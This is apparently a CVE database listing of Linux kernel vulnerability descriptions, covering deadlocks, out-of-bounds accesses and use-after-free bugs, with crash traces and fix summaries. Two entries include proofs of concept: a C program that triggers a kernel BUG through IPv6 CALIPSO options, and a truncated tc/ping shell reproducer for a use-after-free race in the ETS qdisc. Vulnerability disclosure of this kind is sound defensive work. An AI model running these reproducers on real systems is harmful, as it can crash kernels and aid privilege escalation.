| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| In the Linux kernel, the following vulnerability has been resolved:
mptcp: avoid deadlock on fallback while reinjecting
Jakub reported an MPTCP deadlock at fallback time:
WARNING: possible recursive locking detected
6.18.0-rc7-virtme #1 Not tainted
--------------------------------------------
mptcp_connect/20858 is trying to acquire lock:
ff1100001da18b60 (&msk->fallback_lock){+.-.}-{3:3}, at: __mptcp_try_fallback+0xd8/0x280
but task is already holding lock:
ff1100001da18b60 (&msk->fallback_lock){+.-.}-{3:3}, at: __mptcp_retrans+0x352/0xaa0
other info that might help us debug this:
Possible unsafe locking scenario:
CPU0
----
lock(&msk->fallback_lock);
lock(&msk->fallback_lock);
*** DEADLOCK ***
May be due to missing lock nesting notation
3 locks held by mptcp_connect/20858:
#0: ff1100001da18290 (sk_lock-AF_INET){+.+.}-{0:0}, at: mptcp_sendmsg+0x114/0x1bc0
#1: ff1100001db40fd0 (k-sk_lock-AF_INET#2){+.+.}-{0:0}, at: __mptcp_retrans+0x2cb/0xaa0
#2: ff1100001da18b60 (&msk->fallback_lock){+.-.}-{3:3}, at: __mptcp_retrans+0x352/0xaa0
stack backtrace:
CPU: 0 UID: 0 PID: 20858 Comm: mptcp_connect Not tainted 6.18.0-rc7-virtme #1 PREEMPT(full)
Hardware name: Bochs, BIOS Bochs 01/01/2011
Call Trace:
<TASK>
dump_stack_lvl+0x6f/0xa0
print_deadlock_bug.cold+0xc0/0xcd
validate_chain+0x2ff/0x5f0
__lock_acquire+0x34c/0x740
lock_acquire.part.0+0xbc/0x260
_raw_spin_lock_bh+0x38/0x50
__mptcp_try_fallback+0xd8/0x280
mptcp_sendmsg_frag+0x16c2/0x3050
__mptcp_retrans+0x421/0xaa0
mptcp_release_cb+0x5aa/0xa70
release_sock+0xab/0x1d0
mptcp_sendmsg+0xd5b/0x1bc0
sock_write_iter+0x281/0x4d0
new_sync_write+0x3c5/0x6f0
vfs_write+0x65e/0xbb0
ksys_write+0x17e/0x200
do_syscall_64+0xbb/0xfd0
entry_SYSCALL_64_after_hwframe+0x4b/0x53
RIP: 0033:0x7fa5627cbc5e
Code: 4d 89 d8 e8 14 bd 00 00 4c 8b 5d f8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 11 c9 c3 0f 1f 80 00 00 00 00 48 8b 45 10 0f 05 <c9> c3 83 e2 39 83 fa 08 75 e7 e8 13 ff ff ff 0f 1f 00 f3 0f 1e fa
RSP: 002b:00007fff1fe14700 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000000000000005 RCX: 00007fa5627cbc5e
RDX: 0000000000001f9c RSI: 00007fff1fe16984 RDI: 0000000000000005
RBP: 00007fff1fe14710 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 00007fff1fe16920
R13: 0000000000002000 R14: 0000000000001f9c R15: 0000000000001f9c
The packet scheduler could attempt a reinjection after receiving an
MP_FAIL and before the infinite map has been transmitted, causing a
deadlock since MPTCP needs to do the reinjection atomically from WRT
fallback.
Address the issue explicitly avoiding the reinjection in the critical
scenario. Note that this is the only fallback critical section that
could potentially send packets and hit the double-lock. |
| In the Linux kernel, the following vulnerability has been resolved:
SUNRPC: svcauth_gss: avoid NULL deref on zero length gss_token in gss_read_proxy_verf
A zero length gss_token results in pages == 0 and in_token->pages[0]
is NULL. The code unconditionally evaluates
page_address(in_token->pages[0]) for the initial memcpy, which can
dereference NULL even when the copy length is 0. Guard the first
memcpy so it only runs when length > 0. |
| In the Linux kernel, the following vulnerability has been resolved:
libceph: make decode_pool() more resilient against corrupted osdmaps
If the osdmap is (maliciously) corrupted such that the encoded length
of ceph_pg_pool envelope is less than what is expected for a particular
encoding version, out-of-bounds reads may ensue because the only bounds
check that is there is based on that length value.
This patch adds explicit bounds checks for each field that is decoded
or skipped. |
| In the Linux kernel, the following vulnerability has been resolved:
net: hns3: add VLAN id validation before using
Currently, the VLAN id may be used without validation when
receive a VLAN configuration mailbox from VF. The length of
vlan_del_fail_bmap is BITS_TO_LONGS(VLAN_N_VID). It may cause
out-of-bounds memory access once the VLAN id is bigger than
or equal to VLAN_N_VID.
Therefore, VLAN id needs to be checked to ensure it is within
the range of VLAN_N_VID. |
| In the Linux kernel, the following vulnerability has been resolved:
MIPS: ftrace: Fix memory corruption when kernel is located beyond 32 bits
Since commit e424054000878 ("MIPS: Tracing: Reduce the overhead of
dynamic Function Tracer"), the macro UASM_i_LA_mostly has been used,
and this macro can generate more than 2 instructions. At the same
time, the code in ftrace assumes that no more than 2 instructions can
be generated, which is why it stores them in an int[2] array. However,
as previously noted, the macro UASM_i_LA_mostly (and now UASM_i_LA)
causes a buffer overflow when _mcount is beyond 32 bits. This leads to
corruption of the variables located in the __read_mostly section.
This corruption was observed because the variable
__cpu_primary_thread_mask was corrupted, causing a hang very early
during boot.
This fix prevents the corruption by avoiding the generation of
instructions if they could exceed 2 instructions in
length. Fortunately, insn_la_mcount is only used if the instrumented
code is located outside the kernel code section, so dynamic ftrace can
still be used, albeit in a more limited scope. This is still
preferable to corrupting memory and/or crashing the kernel. |
| In the Linux kernel, the following vulnerability has been resolved:
wifi: rtlwifi: 8192cu: fix tid out of range in rtl92cu_tx_fill_desc()
TID getting from ieee80211_get_tid() might be out of range of array size
of sta_entry->tids[], so check TID is less than MAX_TID_COUNT. Othwerwise,
UBSAN warn:
UBSAN: array-index-out-of-bounds in drivers/net/wireless/realtek/rtlwifi/rtl8192cu/trx.c:514:30
index 10 is out of range for type 'rtl_tid_data [9]' |
| In the Linux kernel, the following vulnerability has been resolved:
net: stmmac: fix the crash issue for zero copy XDP_TX action
There is a crash issue when running zero copy XDP_TX action, the crash
log is shown below.
[ 216.122464] Unable to handle kernel paging request at virtual address fffeffff80000000
[ 216.187524] Internal error: Oops: 0000000096000144 [#1] SMP
[ 216.301694] Call trace:
[ 216.304130] dcache_clean_poc+0x20/0x38 (P)
[ 216.308308] __dma_sync_single_for_device+0x1bc/0x1e0
[ 216.313351] stmmac_xdp_xmit_xdpf+0x354/0x400
[ 216.317701] __stmmac_xdp_run_prog+0x164/0x368
[ 216.322139] stmmac_napi_poll_rxtx+0xba8/0xf00
[ 216.326576] __napi_poll+0x40/0x218
[ 216.408054] Kernel panic - not syncing: Oops: Fatal exception in interrupt
For XDP_TX action, the xdp_buff is converted to xdp_frame by
xdp_convert_buff_to_frame(). The memory type of the resulting xdp_frame
depends on the memory type of the xdp_buff. For page pool based xdp_buff
it produces xdp_frame with memory type MEM_TYPE_PAGE_POOL. For zero copy
XSK pool based xdp_buff it produces xdp_frame with memory type
MEM_TYPE_PAGE_ORDER0. However, stmmac_xdp_xmit_back() does not check the
memory type and always uses the page pool type, this leads to invalid
mappings and causes the crash. Therefore, check the xdp_buff memory type
in stmmac_xdp_xmit_back() to fix this issue. |
| In the Linux kernel, the following vulnerability has been resolved:
e1000: fix OOB in e1000_tbi_should_accept()
In e1000_tbi_should_accept() we read the last byte of the frame via
'data[length - 1]' to evaluate the TBI workaround. If the descriptor-
reported length is zero or larger than the actual RX buffer size, this
read goes out of bounds and can hit unrelated slab objects. The issue
is observed from the NAPI receive path (e1000_clean_rx_irq):
==================================================================
BUG: KASAN: slab-out-of-bounds in e1000_tbi_should_accept+0x610/0x790
Read of size 1 at addr ffff888014114e54 by task sshd/363
CPU: 0 PID: 363 Comm: sshd Not tainted 5.18.0-rc1 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.0-59-gc9ba5276e321-prebuilt.qemu.org 04/01/2014
Call Trace:
<IRQ>
dump_stack_lvl+0x5a/0x74
print_address_description+0x7b/0x440
print_report+0x101/0x200
kasan_report+0xc1/0xf0
e1000_tbi_should_accept+0x610/0x790
e1000_clean_rx_irq+0xa8c/0x1110
e1000_clean+0xde2/0x3c10
__napi_poll+0x98/0x380
net_rx_action+0x491/0xa20
__do_softirq+0x2c9/0x61d
do_softirq+0xd1/0x120
</IRQ>
<TASK>
__local_bh_enable_ip+0xfe/0x130
ip_finish_output2+0x7d5/0xb00
__ip_queue_xmit+0xe24/0x1ab0
__tcp_transmit_skb+0x1bcb/0x3340
tcp_write_xmit+0x175d/0x6bd0
__tcp_push_pending_frames+0x7b/0x280
tcp_sendmsg_locked+0x2e4f/0x32d0
tcp_sendmsg+0x24/0x40
sock_write_iter+0x322/0x430
vfs_write+0x56c/0xa60
ksys_write+0xd1/0x190
do_syscall_64+0x43/0x90
entry_SYSCALL_64_after_hwframe+0x44/0xae
RIP: 0033:0x7f511b476b10
Code: 73 01 c3 48 8b 0d 88 d3 2b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 0f 1f 44 00 00 83 3d f9 2b 2c 00 00 75 10 b8 01 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 8e 9b 01 00 48 89 04 24
RSP: 002b:00007ffc9211d4e8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000000000004024 RCX: 00007f511b476b10
RDX: 0000000000004024 RSI: 0000559a9385962c RDI: 0000000000000003
RBP: 0000559a9383a400 R08: fffffffffffffff0 R09: 0000000000004f00
R10: 0000000000000070 R11: 0000000000000246 R12: 0000000000000000
R13: 00007ffc9211d57f R14: 0000559a9347bde7 R15: 0000000000000003
</TASK>
Allocated by task 1:
__kasan_krealloc+0x131/0x1c0
krealloc+0x90/0xc0
add_sysfs_param+0xcb/0x8a0
kernel_add_sysfs_param+0x81/0xd4
param_sysfs_builtin+0x138/0x1a6
param_sysfs_init+0x57/0x5b
do_one_initcall+0x104/0x250
do_initcall_level+0x102/0x132
do_initcalls+0x46/0x74
kernel_init_freeable+0x28f/0x393
kernel_init+0x14/0x1a0
ret_from_fork+0x22/0x30
The buggy address belongs to the object at ffff888014114000
which belongs to the cache kmalloc-2k of size 2048
The buggy address is located 1620 bytes to the right of
2048-byte region [ffff888014114000, ffff888014114800]
The buggy address belongs to the physical page:
page:ffffea0000504400 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x14110
head:ffffea0000504400 order:3 compound_mapcount:0 compound_pincount:0
flags: 0x100000000010200(slab|head|node=0|zone=1)
raw: 0100000000010200 0000000000000000 dead000000000001 ffff888013442000
raw: 0000000000000000 0000000000080008 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
==================================================================
This happens because the TBI check unconditionally dereferences the last
byte without validating the reported length first:
u8 last_byte = *(data + length - 1);
Fix by rejecting the frame early if the length is zero, or if it exceeds
adapter->rx_buffer_len. This preserves the TBI workaround semantics for
valid frames and prevents touching memory beyond the RX buffer. |
| In the Linux kernel, the following vulnerability has been resolved:
nfsd: fix nfsd_file reference leak in nfsd4_add_rdaccess_to_wrdeleg()
nfsd4_add_rdaccess_to_wrdeleg() unconditionally overwrites
fp->fi_fds[O_RDONLY] with a newly acquired nfsd_file. However, if
the client already has a SHARE_ACCESS_READ open from a previous OPEN
operation, this action overwrites the existing pointer without
releasing its reference, orphaning the previous reference.
Additionally, the function originally stored the same nfsd_file
pointer in both fp->fi_fds[O_RDONLY] and fp->fi_rdeleg_file with
only a single reference. When put_deleg_file() runs, it clears
fi_rdeleg_file and calls nfs4_file_put_access() to release the file.
However, nfs4_file_put_access() only releases fi_fds[O_RDONLY] when
the fi_access[O_RDONLY] counter drops to zero. If another READ open
exists on the file, the counter remains elevated and the nfsd_file
reference from the delegation is never released. This potentially
causes open conflicts on that file.
Then, on server shutdown, these leaks cause __nfsd_file_cache_purge()
to encounter files with an elevated reference count that cannot be
cleaned up, ultimately triggering a BUG() in kmem_cache_destroy()
because there are still nfsd_file objects allocated in that cache. |
| In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.
PoC:
Using `netlabelctl` tool:
netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;
// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;
// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0); |
| In the Linux kernel, the following vulnerability has been resolved:
ipv6: fix a BUG in rt6_get_pcpu_route() under PREEMPT_RT
On PREEMPT_RT kernels, after rt6_get_pcpu_route() returns NULL, the
current task can be preempted. Another task running on the same CPU
may then execute rt6_make_pcpu_route() and successfully install a
pcpu_rt entry. When the first task resumes execution, its cmpxchg()
in rt6_make_pcpu_route() will fail because rt6i_pcpu is no longer
NULL, triggering the BUG_ON(prev). It's easy to reproduce it by adding
mdelay() after rt6_get_pcpu_route().
Using preempt_disable/enable is not appropriate here because
ip6_rt_pcpu_alloc() may sleep.
Fix this by handling the cmpxchg() failure gracefully on PREEMPT_RT:
free our allocation and return the existing pcpu_rt installed by
another task. The BUG_ON is replaced by WARN_ON_ONCE for non-PREEMPT_RT
kernels where such races should not occur. |
| In the Linux kernel, the following vulnerability has been resolved:
functionfs: fix the open/removal races
ffs_epfile_open() can race with removal, ending up with file->private_data
pointing to freed object.
There is a total count of opened files on functionfs (both ep0 and
dynamic ones) and when it hits zero, dynamic files get removed.
Unfortunately, that removal can happen while another thread is
in ffs_epfile_open(), but has not incremented the count yet.
In that case open will succeed, leaving us with UAF on any subsequent
read() or write().
The root cause is that ffs->opened is misused; atomic_dec_and_test() vs.
atomic_add_return() is not a good idea, when object remains visible all
along.
To untangle that
* serialize openers on ffs->mutex (both for ep0 and for dynamic files)
* have dynamic ones use atomic_inc_not_zero() and fail if we had
zero ->opened; in that case the file we are opening is doomed.
* have the inodes of dynamic files marked on removal (from the
callback of simple_recursive_removal()) - clear ->i_private there.
* have open of dynamic ones verify they hadn't been already removed,
along with checking that state is FFS_ACTIVE. |
| In the Linux kernel, the following vulnerability has been resolved:
shmem: fix recovery on rename failures
maple_tree insertions can fail if we are seriously short on memory;
simple_offset_rename() does not recover well if it runs into that.
The same goes for simple_offset_rename_exchange().
Moreover, shmem_whiteout() expects that if it succeeds, the caller will
progress to d_move(), i.e. that shmem_rename2() won't fail past the
successful call of shmem_whiteout().
Not hard to fix, fortunately - mtree_store() can't fail if the index we
are trying to store into is already present in the tree as a singleton.
For simple_offset_rename_exchange() that's enough - we just need to be
careful about the order of operations.
For simple_offset_rename() solution is to preinsert the target into the
tree for new_dir; the rest can be done without any potentially failing
operations.
That preinsertion has to be done in shmem_rename2() rather than in
simple_offset_rename() itself - otherwise we'd need to deal with the
possibility of failure after successful shmem_whiteout(). |
| In the Linux kernel, the following vulnerability has been resolved:
ublk: clean up user copy references on ublk server exit
If a ublk server process releases a ublk char device file, any requests
dispatched to the ublk server but not yet completed will retain a ref
value of UBLK_REFCOUNT_INIT. Before commit e63d2228ef83 ("ublk: simplify
aborting ublk request"), __ublk_fail_req() would decrement the reference
count before completing the failed request. However, that commit
optimized __ublk_fail_req() to call __ublk_complete_rq() directly
without decrementing the request reference count.
The leaked reference count incorrectly allows user copy and zero copy
operations on the completed ublk request. It also triggers the
WARN_ON_ONCE(refcount_read(&io->ref)) warnings in ublk_queue_reinit()
and ublk_deinit_queue().
Commit c5c5eb24ed61 ("ublk: avoid ublk_io_release() called after ublk
char dev is closed") already fixed the issue for ublk devices using
UBLK_F_SUPPORT_ZERO_COPY or UBLK_F_AUTO_BUF_REG. However, the reference
count leak also affects UBLK_F_USER_COPY, the other reference-counted
data copy mode. Fix the condition in ublk_check_and_reset_active_ref()
to include all reference-counted data copy modes. This ensures that any
ublk requests still owned by the ublk server when it exits have their
reference counts reset to 0. |
| In the Linux kernel, the following vulnerability has been resolved:
svcrdma: bound check rq_pages index in inline path
svc_rdma_copy_inline_range indexed rqstp->rq_pages[rc_curpage] without
verifying rc_curpage stays within the allocated page array. Add guards
before the first use and after advancing to a new page. |
| In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
zdi-disclosures@trendmicro.com says:
The vulnerability is a race condition between `ets_qdisc_dequeue` and
`ets_qdisc_change`. It leads to UAF on `struct Qdisc` object.
Attacker requires the capability to create new user and network namespace
in order to trigger the bug.
See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
...
// (1) this lock is preventing .change handler (`ets_qdisc_change`)
//to race with .dequeue handler (`ets_qdisc_dequeue`)
sch_tree_lock(sch);
for (i = nbands; i < oldbands; i++) {
if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
list_del_init(&q->classes[i].alist);
qdisc_purge_queue(q->classes[i].qdisc);
}
WRITE_ONCE(q->nbands, nbands);
for (i = nstrict; i < q->nstrict; i++) {
if (q->classes[i].qdisc->q.qlen) {
// (2) the class is added to the q->active
list_add_tail(&q->classes[i].alist, &q->active);
q->classes[i].deficit = quanta[i];
}
}
WRITE_ONCE(q->nstrict, nstrict);
memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++)
WRITE_ONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) {
q->classes[i].qdisc = queues[i];
if (q->classes[i].qdisc != &noop_qdisc)
qdisc_hash_add(q->classes[i].qdisc, true);
}
// (3) the qdisc is unlocked, now dequeue can be called in parallel
// to the rest of .change handler
sch_tree_unlock(sch);
ets_offload_change(sch);
for (i = q->nbands; i < oldbands; i++) {
// (4) we're reducing the refcount for our class's qdisc and
// freeing it
qdisc_put(q->classes[i].qdisc);
// (5) If we call .dequeue between (4) and (5), we will have
// a strong UAF and we can control RIP
q->classes[i].qdisc = NULL;
WRITE_ONCE(q->classes[i].quantum, 0);
q->classes[i].deficit = 0;
gnet_stats_basic_sync_init(&q->classes[i].bstats);
memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
}
return 0;
}
Comment:
This happens because some of the classes have their qdiscs assigned to
NULL, but remain in the active list. This commit fixes this issue by always
removing the class from the active list before deleting and freeing its
associated qdisc
Reproducer Steps
(trimmed version of what was sent by zdi-disclosures@trendmicro.com)
```
DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
cleanup() {
tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
>/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent
---truncated--- |
| In the Linux kernel, the following vulnerability has been resolved:
Input: alps - fix use-after-free bugs caused by dev3_register_work
The dev3_register_work delayed work item is initialized within
alps_reconnect() and scheduled upon receipt of the first bare
PS/2 packet from an external PS/2 device connected to the ALPS
touchpad. During device detachment, the original implementation
calls flush_workqueue() in psmouse_disconnect() to ensure
completion of dev3_register_work. However, the flush_workqueue()
in psmouse_disconnect() only blocks and waits for work items that
were already queued to the workqueue prior to its invocation. Any
work items submitted after flush_workqueue() is called are not
included in the set of tasks that the flush operation awaits.
This means that after flush_workqueue() has finished executing,
the dev3_register_work could still be scheduled. Although the
psmouse state is set to PSMOUSE_CMD_MODE in psmouse_disconnect(),
the scheduling of dev3_register_work remains unaffected.
The race condition can occur as follows:
CPU 0 (cleanup path) | CPU 1 (delayed work)
psmouse_disconnect() |
psmouse_set_state() |
flush_workqueue() | alps_report_bare_ps2_packet()
alps_disconnect() | psmouse_queue_work()
kfree(priv); // FREE | alps_register_bare_ps2_mouse()
| priv = container_of(work...); // USE
| priv->dev3 // USE
Add disable_delayed_work_sync() in alps_disconnect() to ensure
that dev3_register_work is properly canceled and prevented from
executing after the alps_data structure has been deallocated.
This bug is identified by static analysis. |
| In the Linux kernel, the following vulnerability has been resolved:
media: dvb-usb: dtv5100: fix out-of-bounds in dtv5100_i2c_msg()
rlen value is a user-controlled value, but dtv5100_i2c_msg() does not
check the size of the rlen value. Therefore, if it is set to a value
larger than sizeof(st->data), an out-of-bounds vuln occurs for st->data.
Therefore, we need to add proper range checking to prevent this vuln. |
| In the Linux kernel, the following vulnerability has been resolved:
scsi: Revert "scsi: qla2xxx: Perform lockless command completion in abort path"
This reverts commit 0367076b0817d5c75dfb83001ce7ce5c64d803a9.
The commit being reverted added code to __qla2x00_abort_all_cmds() to
call sp->done() without holding a spinlock. But unlike the older code
below it, this new code failed to check sp->cmd_type and just assumed
TYPE_SRB, which results in a jump to an invalid pointer in target-mode
with TYPE_TGT_CMD:
qla2xxx [0000:65:00.0]-d034:8: qla24xx_do_nack_work create sess success
0000000009f7a79b
qla2xxx [0000:65:00.0]-5003:8: ISP System Error - mbx1=1ff5h mbx2=10h
mbx3=0h mbx4=0h mbx5=191h mbx6=0h mbx7=0h.
qla2xxx [0000:65:00.0]-d01e:8: -> fwdump no buffer
qla2xxx [0000:65:00.0]-f03a:8: qla_target(0): System error async event
0x8002 occurred
qla2xxx [0000:65:00.0]-00af:8: Performing ISP error recovery -
ha=0000000058183fda.
BUG: kernel NULL pointer dereference, address: 0000000000000000
PF: supervisor instruction fetch in kernel mode
PF: error_code(0x0010) - not-present page
PGD 0 P4D 0
Oops: 0010 [#1] SMP
CPU: 2 PID: 9446 Comm: qla2xxx_8_dpc Tainted: G O 6.1.133 #1
Hardware name: Supermicro Super Server/X11SPL-F, BIOS 4.2 12/15/2023
RIP: 0010:0x0
Code: Unable to access opcode bytes at 0xffffffffffffffd6.
RSP: 0018:ffffc90001f93dc8 EFLAGS: 00010206
RAX: 0000000000000282 RBX: 0000000000000355 RCX: ffff88810d16a000
RDX: ffff88810dbadaa8 RSI: 0000000000080000 RDI: ffff888169dc38c0
RBP: ffff888169dc38c0 R08: 0000000000000001 R09: 0000000000000045
R10: ffffffffa034bdf0 R11: 0000000000000000 R12: ffff88810800bb40
R13: 0000000000001aa8 R14: ffff888100136610 R15: ffff8881070f7400
FS: 0000000000000000(0000) GS:ffff88bf80080000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffffffffd6 CR3: 000000010c8ff006 CR4: 00000000003706e0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
<TASK>
? __die+0x4d/0x8b
? page_fault_oops+0x91/0x180
? trace_buffer_unlock_commit_regs+0x38/0x1a0
? exc_page_fault+0x391/0x5e0
? asm_exc_page_fault+0x22/0x30
__qla2x00_abort_all_cmds+0xcb/0x3e0 [qla2xxx_scst]
qla2x00_abort_all_cmds+0x50/0x70 [qla2xxx_scst]
qla2x00_abort_isp_cleanup+0x3b7/0x4b0 [qla2xxx_scst]
qla2x00_abort_isp+0xfd/0x860 [qla2xxx_scst]
qla2x00_do_dpc+0x581/0xa40 [qla2xxx_scst]
kthread+0xa8/0xd0
</TASK>
Then commit 4475afa2646d ("scsi: qla2xxx: Complete command early within
lock") added the spinlock back, because not having the lock caused a
race and a crash. But qla2x00_abort_srb() in the switch below already
checks for qla2x00_chip_is_down() and handles it the same way, so the
code above the switch is now redundant and still buggy in target-mode.
Remove it. |
| In the Linux kernel, the following vulnerability has been resolved:
ksmbd: fix use-after-free in ksmbd_tree_connect_put under concurrency
Under high concurrency, A tree-connection object (tcon) is freed on
a disconnect path while another path still holds a reference and later
executes *_put()/write on it. |
